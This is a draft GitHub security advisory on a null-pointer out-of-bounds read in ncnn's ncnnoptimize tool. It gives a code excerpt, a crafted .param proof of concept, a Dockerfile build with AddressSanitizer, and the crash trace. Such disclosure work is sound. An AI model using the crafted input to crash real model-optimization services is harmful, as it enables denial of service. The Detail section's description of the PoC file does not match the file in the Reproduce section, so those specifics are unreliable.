GitHub Advisory Manager
All advisories
Draft

Out-of-Bounds Read in ncnnoptimize

Tencent/ncnn

Affected packages

ncnn other
Affected versions= 5e66f094bf7c597b4569cc014a8be84104748678
Patched versionsNot specified

Description

Out-of-Bounds Read in ncnnoptimize

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: tools/ncnnoptimize.cpp:94 in NetOptimize::fuse_batchnorm_scale
Sanitizer verdict: SEGV on unknown address 0x000000000000 (pc 0x584b9ac05a94 bp 0x7ffcd9af3e80 sp 0x7ffcd9af3dc0 T0)

Summary

A .param file with a BatchNorm layer that declares zero output blobs makes ncnnoptimize read tops[0] from an empty vector during BatchNorm-Scale fusion, terminating the process. The entry point is ncnnoptimize, which passes argv[1] to optimizer.load_param() and then calls fuse_batchnorm_scale() as the very first optimization pass. The demonstrated impact is denial of service against whatever job or service runs the optimizer.

Detail

Net::load_param() takes the per-layer top count straight from the text file and resizes layer->tops to it; zero is accepted, producing a layer with an empty tops vector. NetOptimize::fuse_batchnorm_scale() selects layers by type alone and reads the first top index before doing anything else with them.

// tools/ncnnoptimize.cpp:88
    for (size_t i = 0; i < layer_count; i++)
    {
        if (layers[i]->type != "BatchNorm")
            continue;

        // BatchNorm - Scale
        int top_blob_index = layers[i]->tops[0];

The pass is invoked unconditionally at tools/ncnnoptimize.cpp:2804, immediately after load_param() and load_model(), so nothing between parsing and the faulting access can reject the layer. The successor-search loop below it validates the candidate Scale layer's bottom count at line 102, but never the BatchNorm's own top count.

The PoC's poc.param is 7767517 / 2 1 / Input data 0 1 data / BatchNorm bn 1 0 data 0=1 1=0.001: the BatchNorm consumes blob data and declares no tops. gen_poc.py supplies the four floats load_model() requires for channels = 1, so parsing and weight loading both succeed and the graph reaches the optimizer intact. std::vector<int>::operator[](0) on the empty vector dereferences the null data() pointer, which ASan reports as a read SEGV on address 0x000000000000 at line 94.

Reproduce

Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC) 
mkdir -p ncnn-poc-out-of-bounds-read-in-ncnnoptimize && cd ncnn-poc-out-of-bounds-read-in-ncnnoptimize

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'EOF'
7767517
1 1
BatchNorm b 0 0
EOF

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0

AddressSanitizer output:

layer load_model 0 b failed
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x5f1f1a93ea94 bp 0x7ffc05ad4510 sp 0x7ffc05ad4450 T0)
==1==The signal is caused by a READ memory access.
==1==Hint: address points to the zero page.
    #0 0x5f1f1a93ea94 in NetOptimize::fuse_batchnorm_scale() /ncnn/tools/ncnnoptimize.cpp:94
    #1 0x5f1f1a989cf0 in main /ncnn/tools/ncnnoptimize.cpp:2804
    #2 0x75660250d1c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #3 0x75660250d28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #4 0x5f1f1a909624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /ncnn/tools/ncnnoptimize.cpp:94 in NetOptimize::fuse_batchnorm_scale()
==1==ABORTING

Credit

Zheng Yu @ DepthFirst

Discuss
Submit